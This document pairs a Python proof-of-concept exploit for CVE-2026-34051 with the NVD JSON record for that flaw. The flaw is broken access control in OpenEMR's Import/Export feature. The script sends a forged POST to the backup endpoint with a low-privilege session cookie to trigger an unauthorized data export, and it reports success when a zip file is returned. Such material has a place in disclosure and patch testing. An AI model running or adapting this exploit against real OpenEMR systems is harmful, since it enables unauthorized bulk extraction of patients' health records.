CVE-2026-34051

import requests def exploit_openemr(target_url, session_cookie): """ PoC for CVE-2026-34051: Improper Access Control in OpenEMR Import/Export. """ # The specific endpoint might vary based on installation, this is a conceptual path. export_endpoint = f"{target_url}/interface/main/backup.php" headers = { "User-Agent": "Mozilla/5.0 (VulnScanner)", "Cookie": f"OpenEMR={session_cookie}" } # Payload to trigger unauthorized export data = { "form_action": "export", "site": "default" } try: response = requests.post(export_endpoint, headers=headers, data=data, verify=False, timeout=10) if response.status_code == 200 and "application/zip" in response.headers.get('Content-Type', ''): print("[+] Exploit Successful! Unauthorized data export triggered.") print(f"[+] Downloaded {len(response.content)} bytes.") else: print("[-] Exploit failed or target not vulnerable.") print(response.text[:200]) except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target URL and a valid low-privilege session cookie target = "http://localhost/openemr" cookie = "attacker_low_priv_session_cookie" exploit_openemr(target, cookie)

{"cve": {"id": "CVE-2026-34051", "sourceIdentifier": "[email protected]", "published": "2026-03-26T00:16:40.850", "lastModified": "2026-03-26T16:17:42.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEMR is a free and open source electronic health records and medical practice management application. Versions prior to 8.0.0.3 have an improper access control on the Import/Export functionality, allowing unauthorized users to perform import and export actions through direct request manipulation despite UI restrictions. This can lead to unauthorized data access, bulk data extraction, and manipulation of system data. Version 8.0.0.3 contains a fix."}, {"lang": "es", "value": "OpenEMR es una aplicación gratuita y de código abierto de registros médicos electrónicos y gestión de consultorios médicos. Las versiones anteriores a la 8.0.0.3 tienen un control de acceso inadecuado en la funcionalidad de Importación/Exportación, permitiendo a usuarios no autorizados realizar acciones de importación y exportación mediante la manipulación directa de solicitudes a pesar de las restricciones de la interfaz de usuario. Esto puede llevar a un acceso no autorizado a datos, extracción masiva de datos y manipulación de datos del sistema. La versión 8.0.0.3 contiene una solución."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}, {"lang": "en", "value": "CWE-425"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.0.0.3", "matchCriteriaId": "E3E098AF-42A1-4798-85A7-80052F19F809"}]}]}], "references": [{"url": "https://github.com/openemr/openemr/commit/81c097f7852fc60d45adf6c13baa86cd0a1b400b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openemr/openemr/releases/tag/v8_0_0_3", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/openemr/openemr/security/advisories/GHSA-54m8-wpg9-9665", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}